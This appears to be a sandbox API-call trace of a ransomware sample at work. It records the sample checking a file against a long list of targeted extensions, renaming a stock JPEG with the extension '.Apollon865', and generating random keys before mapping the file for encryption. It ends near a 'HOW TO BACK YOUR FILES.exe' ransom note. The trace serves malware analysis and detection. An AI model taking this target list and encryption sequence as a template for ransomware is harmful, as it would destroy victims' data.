	[0059.009] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0059.009] lstrlenW (lpString="vmdk") returned 4
	[0059.009] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0059.009] lstrlenW (lpString="rar") returned 3
	[0059.009] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0059.009] lstrlenW (lpString="zip") returned 3
	[0059.009] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0059.009] lstrlenW (lpString="tgz") returned 3
	[0059.009] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0059.009] lstrlenW (lpString="vbox") returned 4
	[0059.009] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0059.009] lstrlenW (lpString="vdi") returned 3
	[0059.009] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0059.009] lstrlenW (lpString="vhd") returned 3
	[0059.009] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0059.009] lstrlenW (lpString="vhdx") returned 4
	[0059.009] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0059.009] lstrlenW (lpString="avhd") returned 4
	[0059.009] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0059.010] lstrlenW (lpString="db") returned 2
	[0059.010] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0059.010] lstrlenW (lpString="db2") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0059.010] lstrlenW (lpString="db3") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0059.010] lstrlenW (lpString="dbf") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0059.010] lstrlenW (lpString="mdf") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0059.010] lstrlenW (lpString="mdb") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0059.010] lstrlenW (lpString="sql") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0059.010] lstrlenW (lpString="sqlite") returned 6
	[0059.010] lstrcmpiW (lpString1="ts.jpg", lpString2="sqlite") returned 1
	[0059.010] lstrlenW (lpString="sqlite3") returned 7
	[0059.010] lstrcmpiW (lpString1="nts.jpg", lpString2="sqlite3") returned -1
	[0059.010] lstrlenW (lpString="sqlitedb") returned 8
	[0059.010] lstrcmpiW (lpString1="ints.jpg", lpString2="sqlitedb") returned -1
	[0059.010] lstrlenW (lpString="xml") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0059.010] lstrlenW (lpString="$er") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0059.010] lstrlenW (lpString="4dd") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0059.010] lstrlenW (lpString="4dl") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0059.010] lstrlenW (lpString="^^^") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0059.010] lstrlenW (lpString="abs") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0059.010] lstrlenW (lpString="abx") returned 3
	[0059.010] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0059.011] lstrlenW (lpString="accdb") returned 5
	[0059.011] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0059.011] lstrlenW (lpString="accdc") returned 5
	[0059.011] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0059.011] lstrlenW (lpString="accde") returned 5
	[0059.011] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0059.011] lstrlenW (lpString="accdr") returned 5
	[0059.011] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0059.011] lstrlenW (lpString="accdt") returned 5
	[0059.011] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0059.011] lstrlenW (lpString="accdw") returned 5
	[0059.011] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0059.011] lstrlenW (lpString="accft") returned 5
	[0059.011] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0059.011] lstrlenW (lpString="adb") returned 3
	[0059.011] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.011] lstrlenW (lpString="adb") returned 3
	[0059.011] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.011] lstrlenW (lpString="ade") returned 3
	[0059.011] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0059.011] lstrlenW (lpString="adf") returned 3
	[0059.011] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0059.011] lstrlenW (lpString="adn") returned 3
	[0059.011] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0059.011] lstrlenW (lpString="adp") returned 3
	[0059.011] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0059.011] lstrlenW (lpString="alf") returned 3
	[0059.011] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0059.011] lstrlenW (lpString="ask") returned 3
	[0059.011] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0059.011] lstrlenW (lpString="btr") returned 3
	[0059.011] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0059.011] lstrlenW (lpString="cat") returned 3
	[0059.011] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0059.011] lstrlenW (lpString="cdb") returned 3
	[0059.012] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0059.012] lstrlenW (lpString="ckp") returned 3
	[0059.012] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0059.012] lstrlenW (lpString="cma") returned 3
	[0059.012] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0059.012] lstrlenW (lpString="cpd") returned 3
	[0059.012] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0059.012] lstrlenW (lpString="dacpac") returned 6
	[0059.012] lstrcmpiW (lpString1="ts.jpg", lpString2="dacpac") returned 1
	[0059.012] lstrlenW (lpString="dad") returned 3
	[0059.012] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0059.012] lstrlenW (lpString="dadiagrams") returned 10
	[0059.012] lstrcmpiW (lpString1="Prints.jpg", lpString2="dadiagrams") returned 1
	[0059.012] lstrlenW (lpString="daschema") returned 8
	[0059.012] lstrcmpiW (lpString1="ints.jpg", lpString2="daschema") returned 1
	[0059.012] lstrlenW (lpString="db-journal") returned 10
	[0059.012] lstrcmpiW (lpString1="Prints.jpg", lpString2="db-journal") returned 1
	[0059.012] lstrlenW (lpString="db-shm") returned 6
	[0059.012] lstrcmpiW (lpString1="ts.jpg", lpString2="db-shm") returned 1
	[0059.012] lstrlenW (lpString="db-wal") returned 6
	[0059.012] lstrcmpiW (lpString1="ts.jpg", lpString2="db-wal") returned 1
	[0059.012] lstrlenW (lpString="dbc") returned 3
	[0059.012] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0059.012] lstrlenW (lpString="dbs") returned 3
	[0059.012] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0059.012] lstrlenW (lpString="dbt") returned 3
	[0059.012] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0059.012] lstrlenW (lpString="dbv") returned 3
	[0059.012] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0059.012] lstrlenW (lpString="dbx") returned 3
	[0059.012] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0059.012] lstrlenW (lpString="dcb") returned 3
	[0059.012] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0059.012] lstrlenW (lpString="dct") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0059.013] lstrlenW (lpString="dcx") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0059.013] lstrlenW (lpString="ddl") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0059.013] lstrlenW (lpString="dlis") returned 4
	[0059.013] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0059.013] lstrlenW (lpString="dp1") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0059.013] lstrlenW (lpString="dqy") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0059.013] lstrlenW (lpString="dsk") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0059.013] lstrlenW (lpString="dsn") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0059.013] lstrlenW (lpString="dtsx") returned 4
	[0059.013] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0059.013] lstrlenW (lpString="dxl") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0059.013] lstrlenW (lpString="eco") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0059.013] lstrlenW (lpString="ecx") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0059.013] lstrlenW (lpString="edb") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0059.013] lstrlenW (lpString="epim") returned 4
	[0059.013] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0059.013] lstrlenW (lpString="fcd") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0059.013] lstrlenW (lpString="fdb") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0059.013] lstrlenW (lpString="fic") returned 3
	[0059.013] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0059.013] lstrlenW (lpString="flexolibrary") returned 12
	[0059.014] lstrcmpiW (lpString1="ndPrints.jpg", lpString2="flexolibrary") returned 1
	[0059.014] lstrlenW (lpString="fm5") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0059.014] lstrlenW (lpString="fmp") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0059.014] lstrlenW (lpString="fmp12") returned 5
	[0059.014] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0059.014] lstrlenW (lpString="fmpsl") returned 5
	[0059.014] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0059.014] lstrlenW (lpString="fol") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0059.014] lstrlenW (lpString="fp3") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0059.014] lstrlenW (lpString="fp4") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0059.014] lstrlenW (lpString="fp5") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0059.014] lstrlenW (lpString="fp7") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0059.014] lstrlenW (lpString="fpt") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0059.014] lstrlenW (lpString="frm") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0059.014] lstrlenW (lpString="gdb") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.014] lstrlenW (lpString="gdb") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.014] lstrlenW (lpString="grdb") returned 4
	[0059.014] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0059.014] lstrlenW (lpString="gwi") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0059.014] lstrlenW (lpString="hdb") returned 3
	[0059.014] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0059.014] lstrlenW (lpString="his") returned 3
	[0059.015] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0059.015] lstrlenW (lpString="ib") returned 2
	[0059.015] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0059.015] lstrlenW (lpString="idb") returned 3
	[0059.015] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0059.015] lstrlenW (lpString="ihx") returned 3
	[0059.015] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0059.015] lstrlenW (lpString="itdb") returned 4
	[0059.015] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0059.015] lstrlenW (lpString="itw") returned 3
	[0059.015] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0059.015] lstrlenW (lpString="jet") returned 3
	[0059.015] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0059.015] lstrlenW (lpString="jtx") returned 3
	[0059.015] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0059.015] lstrlenW (lpString="kdb") returned 3
	[0059.015] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0059.015] lstrlenW (lpString="kexi") returned 4
	[0059.015] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0059.015] lstrlenW (lpString="kexic") returned 5
	[0059.015] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0059.015] lstrlenW (lpString="kexis") returned 5
	[0059.015] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0059.015] lstrlenW (lpString="lgc") returned 3
	[0059.015] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0059.016] lstrlenW (lpString="lwx") returned 3
	[0059.016] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0059.016] lstrlenW (lpString="maf") returned 3
	[0059.016] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0059.016] lstrlenW (lpString="maq") returned 3
	[0059.016] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0059.016] lstrlenW (lpString="mar") returned 3
	[0059.016] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0059.016] lstrlenW (lpString="marshal") returned 7
	[0059.016] lstrcmpiW (lpString1="nts.jpg", lpString2="marshal") returned 1
	[0059.016] lstrlenW (lpString="mas") returned 3
	[0059.016] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0059.016] lstrlenW (lpString="mav") returned 3
	[0059.016] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0059.016] lstrlenW (lpString="maw") returned 3
	[0059.016] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0059.016] lstrlenW (lpString="mdbhtml") returned 7
	[0059.016] lstrcmpiW (lpString1="nts.jpg", lpString2="mdbhtml") returned 1
	[0059.016] lstrlenW (lpString="mdn") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0059.017] lstrlenW (lpString="mdt") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0059.017] lstrlenW (lpString="mfd") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0059.017] lstrlenW (lpString="mpd") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0059.017] lstrlenW (lpString="mrg") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0059.017] lstrlenW (lpString="mud") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0059.017] lstrlenW (lpString="mwb") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0059.017] lstrlenW (lpString="myd") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0059.017] lstrlenW (lpString="ndf") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0059.017] lstrlenW (lpString="nnt") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0059.017] lstrlenW (lpString="nrmlib") returned 6
	[0059.017] lstrcmpiW (lpString1="ts.jpg", lpString2="nrmlib") returned 1
	[0059.017] lstrlenW (lpString="ns2") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0059.017] lstrlenW (lpString="ns3") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0059.017] lstrlenW (lpString="ns4") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0059.017] lstrlenW (lpString="nsf") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0059.017] lstrlenW (lpString="nv") returned 2
	[0059.017] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0059.017] lstrlenW (lpString="nv2") returned 3
	[0059.017] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0059.017] lstrlenW (lpString="nwdb") returned 4
	[0059.017] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0059.018] lstrlenW (lpString="nyf") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0059.018] lstrlenW (lpString="odb") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.018] lstrlenW (lpString="odb") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.018] lstrlenW (lpString="oqy") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0059.018] lstrlenW (lpString="ora") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0059.018] lstrlenW (lpString="orx") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0059.018] lstrlenW (lpString="owc") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0059.018] lstrlenW (lpString="p96") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0059.018] lstrlenW (lpString="p97") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0059.018] lstrlenW (lpString="pan") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0059.018] lstrlenW (lpString="pdb") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0059.018] lstrlenW (lpString="pdm") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0059.018] lstrlenW (lpString="pnz") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0059.018] lstrlenW (lpString="qry") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0059.018] lstrlenW (lpString="qvd") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0059.018] lstrlenW (lpString="rbf") returned 3
	[0059.018] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0059.018] lstrlenW (lpString="rctd") returned 4
	[0059.019] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0059.019] lstrlenW (lpString="rod") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0059.019] lstrlenW (lpString="rodx") returned 4
	[0059.019] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0059.019] lstrlenW (lpString="rpd") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0059.019] lstrlenW (lpString="rsd") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0059.019] lstrlenW (lpString="sas7bdat") returned 8
	[0059.019] lstrcmpiW (lpString1="ints.jpg", lpString2="sas7bdat") returned -1
	[0059.019] lstrlenW (lpString="sbf") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0059.019] lstrlenW (lpString="scx") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0059.019] lstrlenW (lpString="sdb") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0059.019] lstrlenW (lpString="sdc") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0059.019] lstrlenW (lpString="sdf") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0059.019] lstrlenW (lpString="sis") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0059.019] lstrlenW (lpString="spq") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0059.019] lstrlenW (lpString="te") returned 2
	[0059.019] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0059.019] lstrlenW (lpString="teacher") returned 7
	[0059.019] lstrcmpiW (lpString1="nts.jpg", lpString2="teacher") returned -1
	[0059.019] lstrlenW (lpString="tmd") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0059.019] lstrlenW (lpString="tps") returned 3
	[0059.019] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0059.019] lstrlenW (lpString="trc") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.020] lstrlenW (lpString="trc") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.020] lstrlenW (lpString="trm") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0059.020] lstrlenW (lpString="udb") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0059.020] lstrlenW (lpString="udl") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0059.020] lstrlenW (lpString="usr") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0059.020] lstrlenW (lpString="v12") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0059.020] lstrlenW (lpString="vis") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0059.020] lstrlenW (lpString="vpd") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0059.020] lstrlenW (lpString="vvv") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0059.020] lstrlenW (lpString="wdb") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0059.020] lstrlenW (lpString="wmdb") returned 4
	[0059.020] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0059.020] lstrlenW (lpString="wrk") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0059.020] lstrlenW (lpString="xdb") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0059.020] lstrlenW (lpString="xld") returned 3
	[0059.020] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0059.020] lstrlenW (lpString="xmlff") returned 5
	[0059.020] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
	[0059.020] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.Apollon865") returned 90
	[0059.020] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.apollon865"), dwFlags=0x1) returned 1
	[0059.021] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.021] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=4222) returned 1
	[0059.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0059.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.022] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0059.023] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.023] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0059.023] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1380, lpName=0x0) returned 0x154
	[0059.024] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1380) returned 0x120000
	[0059.025] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0059.026] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.026] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0059.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0b18
	[0059.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0c30
	[0059.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0059.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0c30 | out: hHeap=0x580000) returned 1
	[0059.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0059.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b18 | out: hHeap=0x580000) returned 1
	[0059.027] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.027] CloseHandle (hObject=0x154) returned 1
	[0059.027] CloseHandle (hObject=0x150) returned 1
	[0059.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0059.027] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e921210, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e921210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0059.027] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
